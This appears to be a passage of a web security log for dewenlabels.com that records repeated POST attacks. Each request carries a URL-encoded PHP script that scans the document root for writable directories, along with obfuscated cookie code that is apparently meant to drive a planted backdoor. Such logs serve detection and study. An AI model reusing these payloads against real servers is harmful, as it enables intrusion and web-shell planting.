B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-dest:document\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnRLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-length:3811\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nhF=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 22:02:21","141.98.11.117","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> Kv:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept:*\/*\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\nupgrade-insecure-requests:1\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvF3LvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvZy9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-length:3811\naccept-encoding:gzip,deflate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nKv=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 22:02:30","46.62.254.35","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> QM:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept:*\/*\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\nupgrade-insecure-requests:1\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHH0vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvZy9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-length:3811\naccept-encoding:gzip,deflate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nQM=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 22:02:40","103.143.207.18","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> id:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-admin%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\naccept:*\/*\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nupgrade-insecure-requests:1\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnJDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5plV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-length:3822\naccept-encoding:gzip,deflate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nid=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%